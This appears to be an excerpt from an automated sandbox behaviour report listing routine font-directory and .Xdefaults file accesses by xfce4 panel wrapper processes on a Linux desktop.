Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5552)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5553)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
